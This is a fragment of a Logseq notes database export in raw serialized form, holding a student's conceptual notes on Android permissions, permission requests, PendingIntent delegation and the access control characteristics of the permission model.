applogseq____&quot;,536872023]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872004]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^@logseq____&quot;,false,536872004]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Flogseq____&quot;,377,536872004]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Xlogseq____&quot;,354,536872004]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Vlogseq____&quot;,371,536872004]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Ulogseq____&quot;,354,536872005]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8496f-1502-4082-a2f7-ac64b1f4625elogseq____&quot;,536872004]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App2 holds successful signature permissionlogseq____&quot;,536872042]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872026]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^@logseq____&quot;,false,536872026]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^Flogseq____&quot;,378,536872026]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^Xlogseq____&quot;,354,536872026]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^Vlogseq____&quot;,371,536872026]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^Ulogseq____&quot;,354,536872027]],[logseq____&quot;^15logseq____&quot;,[379,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84982-1167-43c2-b3da-4dd4e2766e53logseq____&quot;,536872026]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Install-Time Permissionslogseq____&quot;,536872061]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872045]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^@logseq____&quot;,false,536872045]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Flogseq____&quot;,371,536872049]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Xlogseq____&quot;,354,536872045]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Vlogseq____&quot;,354,536872049]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Ulogseq____&quot;,354,536872046]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[380,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b849d5-1c4d-42c2-8b5c-2ef3f0858467logseq____&quot;,536872045]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Pre-Android 6 users had to grant permissions on installlogseq____&quot;,536872098]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872061]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^@logseq____&quot;,false,536872061]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^Flogseq____&quot;,380,536872061]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^Xlogseq____&quot;,354,536872061]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^Vlogseq____&quot;,380,536872063]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^Ulogseq____&quot;,354,536872062]],[logseq____&quot;^15logseq____&quot;,[381,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b849de-6939-4f3f-a540-99403d8b4b69logseq____&quot;,536872061]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Studies revealed little to no users paid attention to permissions or fully comprehended themlogseq____&quot;,536872121]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872098]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^@logseq____&quot;,false,536872098]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^Flogseq____&quot;,381,536872098]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^Xlogseq____&quot;,354,536872098]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^Vlogseq____&quot;,380,536872098]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^Ulogseq____&quot;,354,536872099]],[logseq____&quot;^15logseq____&quot;,[382,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b849f8-de67-4908-a37d-e39df47c611flogseq____&quot;,536872098]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Keep permission requests to a minimum and rather inform about risks than underlying resourceslogseq____&quot;,536872144]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872128]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^@logseq____&quot;,false,536872128]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^Flogseq____&quot;,382,536872128]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^Xlogseq____&quot;,354,536872128]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^Vlogseq____&quot;,380,536872128]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^Ulogseq____&quot;,354,536872129]],[logseq____&quot;^15logseq____&quot;,[383,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84b2b-07f7-44d3-b43e-14331feb5503logseq____&quot;,536872128]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Requesting Permissionslogseq____&quot;,536872178]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872145]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^@logseq____&quot;,false,536872145]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Flogseq____&quot;,380,536872151]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Xlogseq____&quot;,354,536872145]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Vlogseq____&quot;,354,536872151]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Ulogseq____&quot;,354,536872146]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[384,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84b41-ac33-424b-bf94-7bb6b0ab758dlogseq____&quot;,536872145]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Divide into different types (Critical logseq____&lt;-logseq____&gt; Seconary, Unclear logseq____&lt;-logseq____&gt; Clear)logseq____&quot;,536872216]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872158]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^@logseq____&quot;,false,536872158]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^Flogseq____&quot;,384,536872158]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^Xlogseq____&quot;,354,536872158]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^Vlogseq____&quot;,384,536872164]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^Ulogseq____&quot;,354,536872179]],[logseq____&quot;^15logseq____&quot;,[385,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84b49-18ad-47df-bc4d-b3c9a80e2449logseq____&quot;,536872158]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Give *rationales* if permission requests are deniedlogseq____&quot;,536872274]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872191]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^@logseq____&quot;,false,536872191]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^Flogseq____&quot;,387,536872217]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^Xlogseq____&quot;,354,536872191]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^Vlogseq____&quot;,384,536872191]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^Ulogseq____&quot;,354,536872192]],[logseq____&quot;^15logseq____&quot;,[386,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84bb6-e410-4009-b8ea-12c9e0009bf5logseq____&quot;,536872191]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Request types: \\logseq____&quot;Educate up-front\\logseq____&quot;, \\logseq____&quot;Ask up-front\\logseq____&quot;, \\logseq____&quot;Educate in context\\logseq____&quot;, \\logseq____&quot;Ask in Context\\logseq____&quot;)logseq____&quot;,536872265]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872217]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^@logseq____&quot;,false,536872217]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^Flogseq____&quot;,385,536872217]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^Xlogseq____&quot;,354,536872217]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^Vlogseq____&quot;,384,536872217]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^Ulogseq____&quot;,354,536872218]],[logseq____&quot;^15logseq____&quot;,[387,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84bf6-06d1-4454-8d59-bdb29e8ea29dlogseq____&quot;,536872217]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*One-Time permissions* (logseq____&gt;= Android 10 only location; logseq____&gt;= Android 11 location, microphone, camera)logseq____&quot;,536872360]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872275]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^@logseq____&quot;,false,536872275]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^Flogseq____&quot;,386,536872275]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^Xlogseq____&quot;,354,536872275]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^Vlogseq____&quot;,384,536872275]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^Ulogseq____&quot;,354,536872276]],[logseq____&quot;^15logseq____&quot;,[388,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84cda-e742-4f91-98dd-06697b2427d8logseq____&quot;,536872275]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Privacy Dashboard* (logseq____&gt;= Android 12): Shows which app requested which permissions when (can be customized with an activity)logseq____&quot;,536872376]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872332]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^@logseq____&quot;,false,536872332]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^Flogseq____&quot;,388,536872332]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^Xlogseq____&quot;,354,536872332]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^Vlogseq____&quot;,384,536872332]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^Ulogseq____&quot;,354,536872333]],[logseq____&quot;^15logseq____&quot;,[389,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84fa2-91e5-4e5a-bccc-04a63bba1843logseq____&quot;,536872332]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Permission Delegationlogseq____&quot;,536872389]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872379]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^@logseq____&quot;,false,536872379]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Flogseq____&quot;,384,536872383]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Xlogseq____&quot;,354,536872379]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Vlogseq____&quot;,354,536872383]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Ulogseq____&quot;,354,536872380]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[390,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b851e8-ec19-48ee-a483-8fafbf6142bblogseq____&quot;,536872379]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Content Providers]([[Content Provider]]) can restrict URI access per subpathslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872389]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^@logseq____&quot;,false,536872389]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Flogseq____&quot;,390,536872389]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Xlogseq____&quot;,354,536872389]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Vlogseq____&quot;,390,536872391]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Ulogseq____&quot;,25,536872412]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Ulogseq____&quot;,354,536872412]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Ulogseq____&quot;,412,536873242]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^Hlogseq____&quot;,412,536873242]],[logseq____&quot;^15logseq____&quot;,[391,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b851ed-4c88-44b2-8787-0d6e898a1264logseq____&quot;,536872389]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*PendingIntent*: Create [[Intent Messages]] to hand to other applications (delegate *permissions* and *identities* to different application): *prefil sensitive fields* (action string, component, etc.) or trust sending applicationlogseq____&quot;,536872788]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872540]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^@logseq____&quot;,false,536872540]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Flogseq____&quot;,395,536872688]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Xlogseq____&quot;,354,536872540]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Vlogseq____&quot;,390,536872688]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Ulogseq____&quot;,75,536872695]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Ulogseq____&quot;,354,536872695]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^Hlogseq____&quot;,75,536873242]],[logseq____&quot;^15logseq____&quot;,[394,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8529a-3f67-4e5c-9cee-b60fd942c5d1logseq____&quot;,536872540]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Implementing [PoLP](((67b73cc0-6cc9-4099-81fe-fb696e04c2e6))) by delegating certain actions to different applications, e.g., mail application calls file viewer to open attachment (gives access to specific attachment, not all data)logseq____&quot;,536872611]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872544]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^@logseq____&quot;,false,536872544]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Flogseq____&quot;,391,536872544]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Xlogseq____&quot;,354,536872544]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Vlogseq____&quot;,390,536872544]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Ulogseq____&quot;,234,536872580]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Ulogseq____&quot;,354,536872580]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^Hlogseq____&quot;,234,536873242]],[logseq____&quot;^15logseq____&quot;,[395,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b852c5-f41c-4107-9cfb-175ae7d16d98logseq____&quot;,536872544]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Pending Intent\\nid:: 67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____&quot;,536873117]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872792]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Flogseq____&quot;,124,536872792]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Xlogseq____&quot;,75,536872792]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Vlogseq____&quot;,75,536872792]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Ulogseq____&quot;,75,536872793]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536873239]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____&quot;],536873239]],[logseq____&quot;^15logseq____&quot;,[398,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____&quot;,536872792]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Object wrapper around and Intent.logseq____&quot;,536872825]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872805]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^Flogseq____&quot;,398,536872805]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^Xlogseq____&quot;,75,536872805]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^Vlogseq____&quot;,398,536872809]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^Ulogseq____&quot;,75,536873118]],[logseq____&quot;^15logseq____&quot;,[399,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8558a-1966-42a6-8aea-b152a384aceelogseq____&quot;,536872805]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Grant permission to a foreign application to use the contained Intent as if it were executed from applogseq____&apos;s own processlogseq____&quot;,536872853]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872826]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^Flogseq____&quot;,399,536872826]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^Xlogseq____&quot;,75,536872826]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^Vlogseq____&quot;,398,536872826]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^Ulogseq____&quot;,75,536873118]],[logseq____&quot;^15logseq____&quot;,[400,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b855be-ac9c-4f4b-ab87-a2408d3b85f3logseq____&quot;,536872826]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![](https://developer.android.com/static/images/guide/components/nested-pending-intent.svg){:height 1080, :width 720}logseq____&quot;,536872930]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872856]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^Flogseq____&quot;,400,536872894]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^Xlogseq____&quot;,75,536872856]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^Vlogseq____&quot;,398,536872856]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^Ulogseq____&quot;,75,536873118]],[logseq____&quot;^15logseq____&quot;,[401,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b85651-6f1b-47aa-acbe-f3f1add98486logseq____&quot;,536872856]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Access Control]] Characteristics of Permissionslogseq____&quot;,536872954]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872934]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^@logseq____&quot;,false,536872934]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Flogseq____&quot;,390,536872936]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Xlogseq____&quot;,354,536872934]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Vlogseq____&quot;,354,536872936]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Ulogseq____&quot;,37,536872945]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Ulogseq____&quot;,354,536872945]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^Hlogseq____&quot;,37,536873242]],[logseq____&quot;^15logseq____&quot;,[403,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8574b-16c6-49fe-993b-8535576b1cf7logseq____&quot;,536872934]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions *assigned to UID* (subject-centric), but *no object reference* (key-value store)logseq____&quot;,536873007]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536872954]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^@logseq____&quot;,false,536872954]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Flogseq____&quot;,403,536872954]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Xlogseq____&quot;,354,536872954]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Vlogseq____&quot;,403,536872958]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Ulogseq____&quot;,37,536872959]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^Ulogseq____&quot;,354,536872959]],[logseq____&quot;^15logseq____&quot;,[404,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b85759-621f-4b49-9668-6e0c650b5e02logseq____&quot;,536872954]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inherited from UID (ACL characteristic; UID as [ambient authority](((67b7665b-d447-4148-968c-5e162ec8c3fc)))logseq____&quot;,536873059]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873010]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^@logseq____&quot;,false,536873010]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Flogseq____&quot;,404,536873010]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Xlogseq____&quot;,354,536873010]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Vlogseq____&quot;,403,536873010]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Ulogseq____&quot;,37,536873049]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Ulogseq____&quot;,60,536873049]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Ulogseq____&quot;,354,536873049]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^Hlogseq____&quot;,60,536873242]],[logseq____&quot;^15logseq____&quot;,[405,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b857b6-042b-4f23-b1d6-cd4ecd2978b0logseq____&quot;,536873010]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permission delegation via [URI permissions](((67b85233-f3c4-410b-adaa-326869c76c1a))) and [Pending Intents](((67b85581-3a7d-4f14-ae8e-16b0f60c05b3)))logseq____&quot;,536873139]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873059]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^@logseq____&quot;,false,536873059]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Flogseq____&quot;,405,536873059]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Xlogseq____&quot;,354,536873059]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Vlogseq____&quot;,403,536873059]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Ulogseq____&quot;,37,536873136]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Ulogseq____&quot;,354,536873136]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Ulogseq____&quot;,398,536873136]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Hlogseq____&quot;,398,536873242]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^Hlogseq____&quot;,453,536873242]],[logseq____&quot;^15logseq____&quot;,[406,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b857e8-b80b-4384-bb29-579341b2d1d2logseq____&quot;,536873059]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Revocation by resolving association between permission-string and UIDlogseq____&quot;,536873164]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873142]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^@logseq____&quot;,false,536873142]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Flogseq____&quot;,406,536873142]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Xlogseq____&quot;,354,536873142]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Vlogseq____&quot;,403,536873142]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Ulogseq____&quot;,37,536873143]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^Ulogseq____&quot;,354,536873143]],[logseq____&quot;^15logseq____&quot;,[407,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8584a-ebf8-4242-b19c-91153c1208falogseq____&quot;,536873142]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Best decsribed as very simple *attribute-based access control*logseq____&quot;,536873211]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873167]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^@logseq____&quot;,false,536873167]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Flogseq____&quot;,407,536873167]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Xlogseq____&quot;,354,536873167]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Vlogseq____&quot;,403,536873167]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Ulogseq____&quot;,37,536873212]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^Ulogseq____&quot;,354,536873212]],[logseq____&quot;^15logseq____&quot;,[408,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8587c-abf3-4f6e-a118-1f9e1fa620f9logseq____&quot;,536873167]],[logseq____&quot;